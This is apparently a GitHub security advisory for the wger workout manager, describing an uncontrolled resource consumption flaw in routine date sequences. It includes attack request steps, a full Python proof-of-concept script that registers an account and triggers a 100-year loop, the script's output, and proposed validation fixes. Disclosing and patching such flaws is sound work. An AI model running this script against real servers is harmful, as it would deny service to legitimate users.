GHSA-v25j-wqcw-fvhj
wger has an Uncontrolled Resource Consumption issue
Details
### Summary
Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.
### Details
The `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`:
```python # File: wger/manager/models/routine.py, line 151 def clean(self): if self.end and self.start and self.start > self.end: raise ValidationError('The start time cannot be after the end time.') # NO maximum duration check ```
The `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`.
The `date_sequence` property (line 256) uses an unbounded loop:
```python # File: wger/manager/models/routine.py, line 256 while current_date <= self.end: # heavy computation per day: slots, entries, configs, logs ... ```
A routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:
- `GET /api/v2/routine/<id>/date-sequence-display/` - `GET /api/v2/routine/<id>/date-sequence-gym/` - `GET /api/v2/routine/<id>/structure/` - `GET /api/v2/routine/<id>/logs/` - `GET /api/v2/routine/<id>/stats/`
### PoC
#### Prerequisites
- One authenticated user account - No special permissions required
#### Attack Steps
``` # 1. Create a 100-year routine POST /api/v2/routine/ Authorization: Token <token> Content-Type: application/json
{ "name": "DoS routine", "start": "2000-01-01", "end": "2099-12-31" }
# 2. Add at least one day (to make computation non-trivial) POST /api/v2/day/ Authorization: Token <token> Content-Type: application/json
{ "routine": <routine_id>, "order": 1, "name": "Day A" }
# 3. Trigger the expensive computation GET /api/v2/routine/<routine_id>/date-sequence-display/ Authorization: Token <token> ```
**Expected:** HTTP 400 (routine duration exceeds maximum) **Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time
#### Proof of Concept Script
```python #!/usr/bin/env python3 """ PoC: Unbounded date_sequence Denial of Service Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-400: Uncontrolled Resource Consumption
Usage: python3 poc.py http://localhost:8000 """
import requests import sys import time
if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASE_URL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)
BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"
ATTACKER_USER = "dos_attacker_poc" ATTACKER_PASS = "DosAttack!Poc!2025"
BANNER = """ ===================================================================== PoC: Unbounded date_sequence Denial of Service Severity: HIGH CWE-400: Uncontrolled Resource Consumption ===================================================================== """ print(BANNER)
# ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None
def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- 1. Authenticate ----
print("[1] Authenticating...")
token = api_login(ATTACKER_USER, ATTACKER_PASS) if not token: print(f" Registering account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKER_USER, "password": ATTACKER_PASS, }) if r.status_code in (200, 201): token = r.json().get("token") if not token: token = api_login(ATTACKER_USER, ATTACKER_PASS) if not token: print(f"[-] Cannot authenticate. Response: {r.text[:200]}") sys.exit(1) print(f" Token: {token[:16]}...")
headers = api_headers(token)
# ---- 2. Create NORMAL routine (baseline) ----
print("\n[2] Creating baseline routine (30 days)...")
r = requests.post(f"{API}/routine/", headers=headers, json={ "name": "Normal 30-day routine", "start": "2025-01-01", "end": "2025-01-31", }) normal_id = r.json()["id"]
r = requests.post(f"{API}/day/", headers=headers, json={ "routine": normal_id, "order": 1, "name": "Day A" })
print(f" Routine id={normal_id} (30 days)") start_time = time.time() r = requests.get( f"{API}/routine/{normal_id}/date-sequence-display/", headers=headers, ) baseline_time = time.time() - start_time baseline_entries = len(r.json()) if r.status_code == 200 else 0 print(f" date-sequence-display: {r.status_code}, " f"{baseline_entries} entries, {baseline_time:.2f}s")
# ---- 3. Create MALICIOUS routine (100 years) ----
print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")
r = requests.post(f"{API}/routine/", headers=headers, json={ "name": "DoS routine - 100 years", "start": "2000-01-01", "end": "2099-12-31", })
if r.status_code != 201: print(f" [-] Failed to create: {r.status_code} {r.text[:200]}") sys.exit(1)
dos_id = r.json()["id"] print(f" Routine id={dos_id}") print(f" start=2000-01-01, end=2099-12-31") print(f" Duration: ~36,525 days (NO validation limit!)")
r = requests.post(f"{API}/day/", headers=headers, json={ "routine": dos_id, "order": 1, "name": "DoS Day" })
# ---- 4. ATTACK ----
print(f"\n{'='*65}") print(f" ATTACK: Triggering date_sequence on 100-year routine") print(f"{'='*65}")
print(f"\n GET {API}/routine/{dos_id}/date-sequence-display/") print(f" This will iterate ~36,525 times in a while loop...")
start_time = time.time() try: r = requests.get( f"{API}/routine/{dos_id}/date-sequence-display/", headers=headers, timeout=120, ) elapsed = time.time() - start_time dos_entries = len(r.json()) if r.status_code == 200 else 0
print(f"\n Response: HTTP {r.status_code}") print(f" Entries returned: {dos_entries}") print(f" Time elapsed: {elapsed:.2f}s")
except requests.exceptions.Timeout: elapsed = time.time() - start_time dos_entries = 0 print(f"\n REQUEST TIMED OUT after {elapsed:.2f}s!")
except requests.exceptions.ConnectionError: elapsed = time.time() - start_time dos_entries = 0 print(f"\n CONNECTION LOST after {elapsed:.2f}s!")
# ---- 5. VERIFY ----
print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}")
print(f"\n Baseline (30-day routine):") print(f" Entries: {baseline_entries}") print(f" Time: {baseline_time:.2f}s") print(f"\n Malicious (100-year routine):") print(f" Entries: {dos_entries}") print(f" Time: {elapsed:.2f}s")
if elapsed > baseline_time * 5 or dos_entries > 10000: slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf') print(f"\n Slowdown factor: {slowdown:.1f}x") print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | No maximum duration is enforced on routines. | | The date_sequence property loops once per day with no | | upper bound. A 100-year routine forces ~36,525 | | iterations of expensive O(days x slots x configs) work. | | A single request can exhaust a server worker thread. | +----------------------------------------------------------+ """) else: print("\n Response was fast - server may have limits or caching.") ```
#### Proof of Concept Output
``` ===================================================================== PoC: Unbounded date_sequence Denial of Service Severity: HIGH CWE-400: Uncontrolled Resource Consumption =====================================================================
[1] Authenticating... Registering account... Token: 2ffbb18316fc4e0f...
[2] Creating baseline routine (30 days)... Routine id=5 (30 days) date-sequence-display: 200, 31 entries, 0.02s
[3] Creating malicious routine (100 years = 36,525 days)... Routine id=6 start=2000-01-01, end=2099-12-31 Duration: ~36,525 days (NO validation limit!)
================================================================= ATTACK: Triggering date_sequence on 100-year routine =================================================================
GET http://localhost/api/v2/routine/6/date-sequence-display/ This will iterate ~36,525 times in a while loop...
Response: HTTP 200 Entries returned: 36525 Time elapsed: 3.06s
================================================================= VERIFICATION =================================================================
Baseline (30-day routine): Entries: 31 Time: 0.02s
Malicious (100-year routine): Entries: 36525 Time: 3.06s
Slowdown factor: 138.4x
+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | No maximum duration is enforced on routines. | | The date_sequence property loops once per day with no | | upper bound. A 100-year routine forces ~36,525 | | iterations of expensive O(days x slots x configs) work. | | A single request can exhaust a server worker thread. | +----------------------------------------------------------+ ```
### Impact
1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users. 2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request. 3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required. 4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits. 5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop.
### Fix
#### 1. Add maximum duration validation in the model
```python # File: wger/manager/models/routine.py MAX_ROUTINE_DAYS = 365
def clean(self): if self.end and self.start: if self.start > self.end: raise ValidationError('Start cannot be after end.') if (self.end - self.start).days > self.MAX_ROUTINE_DAYS: raise ValidationError( f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.' ) ```
#### 2. Add the same validation in the serializer
```python # File: wger/manager/api/serializers.py class RoutineSerializer(serializers.ModelSerializer): def validate(self, data): start = data.get('start') end = data.get('end') if start and end and (end - start).days > 365: raise serializers.ValidationError( 'Routine cannot span more than 365 days.' ) return data ```
#### 3. Add a safety cap in date_sequence (defence-in-depth)
```python # File: wger/manager/models/routine.py, inside date_sequence property MAX_SEQUENCE_DAYS = 400 count = 0 while current_date <= self.end: count += 1 if count > MAX_SEQUENCE_DAYS: break ... ```
Are you affected?
Enter the version of the package you're using.
Affected packages
0 No fixed version published yet for wger (pip). Pin to a known-safe version or switch to an alternative.